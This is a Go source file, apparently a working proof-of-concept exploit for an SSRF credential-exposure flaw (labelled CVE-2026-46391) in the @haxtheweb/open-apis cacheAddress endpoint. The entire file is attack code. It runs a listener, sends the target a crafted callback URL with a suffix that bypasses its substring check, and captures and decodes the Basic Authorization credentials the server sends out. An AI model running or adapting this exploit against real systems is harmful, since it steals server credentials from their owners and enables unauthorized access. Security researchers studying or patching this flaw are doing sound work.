package main import ( "context" "encoding/base64" "flag" "fmt" "io" "net" "net/http" "net/url" "os" "sort" "strconv" "strings" "time" ) const ( // ssrfPath is appended to the callback URL so the target's substring check triggers. ssrfPath = "/.aanda.psu.edu" // apiPath is the cacheAddress endpoint path, appended to the -u/--url web root. apiPath = "/api/services/website/cacheAddress" ) func main() { fmt.Print("\n[***] CVE-2026-46391 - Credential Exposure via SSRF in @haxtheweb/open-apis [***]\n") fmt.Print(" [+] Built (with love) by @bradyjmcl [+]\n\n") var targetHost, listenerHost, port string var timeout int var verbose bool flag.StringVar(&targetHost, "u", "", "") flag.StringVar(&targetHost, "url", "", "") flag.StringVar(&listenerHost, "l", "", "") flag.StringVar(&listenerHost, "listener", "", "") flag.StringVar(&port, "p", "8080", "") flag.StringVar(&port, "port", "8080", "") flag.IntVar(&timeout, "t", 30, "") flag.IntVar(&timeout, "timeout", 30, "") flag.BoolVar(&verbose, "v", false, "") flag.BoolVar(&verbose, "verbose", false, "") flag.Usage = func() { out := flag.CommandLine.Output() fmt.Fprintf(out, "Usage: %s -u -l [-p port] [-t seconds] [-v]\n\n", os.Args[0]) fmt.Fprintf(out, "Options:\n") fmt.Fprintf(out, " %-24s%s\n", "-h, --help", "show this help message and exit") fmt.Fprintf(out, " %-24s%s\n", "-u, --url string", "target web root (e.g. http://10.10.0.80:3000)") fmt.Fprintf(out, " %-24s%s\n", "-l, --listener string", "IP/hostname to listen on (e.g. 192.168.1.10 or http://192.168.1.10)") fmt.Fprintf(out, " %-24s%s\n", "", "or full URL including port for tunnels/proxies (e.g. https://your-uuid.trycloudflare.com)") fmt.Fprintf(out, " %-24s%s\n", "-p, --port int", "local port to listen on (default 8080)") fmt.Fprintf(out, " %-24s%s\n", "-t, --timeout int", "seconds to wait for callback (default 30)") fmt.Fprintf(out, " %-24s%s\n", "-v, --verbose", "print headers and body of every inbound request") } flag.Parse() if targetHost == "" || listenerHost == "" { flag.Usage() os.Exit(1) } portNum, err := strconv.Atoi(port) if err != nil { fmt.Fprintf(os.Stderr, "[-] Invalid value %q for -p/--port: must be an integer (e.g. -p 9090)\n", port) os.Exit(1) } if portNum < 1 || portNum > 65535 { fmt.Fprintf(os.Stderr, "[-] Invalid port %d: must be between 1 and 65535\n", portNum) os.Exit(1) } if timeout < 1 { fmt.Fprintf(os.Stderr, "[-] Invalid timeout %d: must be at least 1 second\n", timeout) os.Exit(1) } done := make(chan string, 1) ln, server, err := startListener(port, verbose, done) if err != nil { fmt.Fprintf(os.Stderr, "[-] Failed to bind :%s: %v\n", port, err) os.Exit(1) } defer shutdown(server) fmt.Printf("[*] Listener ready on :%s\n", port) go func() { if err := server.Serve(ln); err != nil && err != http.ErrServerClosed { fmt.Fprintf(os.Stderr, "[-] Server error: %v\n", err) } }() status, err := fireTrigger(targetHost, listenerHost, port) triggerOK := err == nil if err != nil { fmt.Fprintf(os.Stderr, "[-] Trigger request failed: %v\n", err) } else { fmt.Printf("[i] Target responded with status %d\n", status) } if triggerOK { fmt.Printf("[*] Waiting up to %ds for callback...\n", timeout) } else { fmt.Printf("[*] Waiting up to %ds for callback (trigger failed - unlikely to arrive)...\n", timeout) } select { case creds := <-done: fmt.Printf("\n[!] CAPTURED: %s\n", creds) case <-time.After(time.Duration(timeout) * time.Second): fmt.Println("[-] Timed out - no callback received") fmt.Println(" Check: is your host reachable from the target server?") fmt.Println(" Check: did the q param reach the credential branch?") } } func startListener(port string, verbose bool, done chan string) (net.Listener, *http.Server, error) { ln, err := net.Listen("tcp", ":"+port) if err != nil { return nil, nil, err } mux := http.NewServeMux() mux.HandleFunc("/", callbackHandler(verbose, done)) return ln, &http.Server{ Handler: mux, ReadTimeout: 10 * time.Second, ReadHeaderTimeout: 5 * time.Second, WriteTimeout: 10 * time.Second, MaxHeaderBytes: 8 << 10, }, nil } func callbackHandler(verbose bool, done chan string) http.HandlerFunc { return func(w http.ResponseWriter, r *http.Request) { fmt.Printf("\n[i] Request from %s\n", r.RemoteAddr) fmt.Printf(" Path: %s\n", r.URL.String()) if verbose { names := make([]string, 0, len(r.Header)) for name := range r.Header { names = append(names, name) } sort.Strings(names) for _, name := range names { for _, v := range r.Header[name] { fmt.Printf(" Header: %s: %s\n", name, v) } } body, _ := io.ReadAll(io.LimitReader(r.Body, 4096)) if len(body) > 0 { fmt.Printf(" Body: %s\n", body) } } if r.URL.Path != ssrfPath { http.NotFound(w, r) return } creds := decodeAuth(r.Header.Get("Authorization")) if creds != "" { select { case done <- creds: default: fmt.Println("[i] Duplicate callback - credentials discarded") } } w.Header().Set("Content-Type", "text/plain") w.WriteHeader(http.StatusOK) fmt.Fprintln(w, "ok") } } func decodeAuth(header string) string { if header == "" { fmt.Println("[-] No Authorization header - substring check may not have triggered") return "" } if !strings.HasPrefix(header, "Basic ") { fmt.Printf("[!] Authorization (non-Basic): %s\n", header) return header } payload := strings.TrimRight(strings.TrimPrefix(header, "Basic "), "= ") decoded, err := base64.RawStdEncoding.DecodeString(payload) if err != nil { fmt.Printf("[-] Failed to decode: %v\n", err) return "" } return string(decoded) } func fireTrigger(target, host, port string) (int, error) { endpoint := strings.TrimSuffix(target, "/") + apiPath trigger := fmt.Sprintf("%s?q=%s", endpoint, url.QueryEscape(buildCallbackURL(host, port))) fmt.Printf("[*] Triggering SSRF: %s\n", trigger) client := &http.Client{Timeout: 15 * time.Second} resp, err := client.Get(trigger) //nolint:gosec if err != nil { return 0, err } defer resp.Body.Close() io.Copy(io.Discard, resp.Body) //nolint:errcheck return resp.StatusCode, nil } func buildCallbackURL(host, port string) string { if !strings.HasPrefix(host, "http://") && !strings.HasPrefix(host, "https://") { h := host if strings.HasPrefix(h, "[") && strings.HasSuffix(h, "]") { h = h[1 : len(h)-1] } return fmt.Sprintf("http://%s%s", net.JoinHostPort(h, port), ssrfPath) } u, err := url.Parse(host) if err != nil { return strings.TrimSuffix(host, "/") + ssrfPath } if u.Port() != "" { return strings.TrimSuffix(host, "/") + ssrfPath } if u.Scheme == "https" { return strings.TrimSuffix(u.String(), "/") + ssrfPath } u.Host = net.JoinHostPort(u.Hostname(), port) return strings.TrimSuffix(u.String(), "/") + ssrfPath } func shutdown(server *http.Server) { ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second) defer cancel() server.Shutdown(ctx) //nolint:errcheck }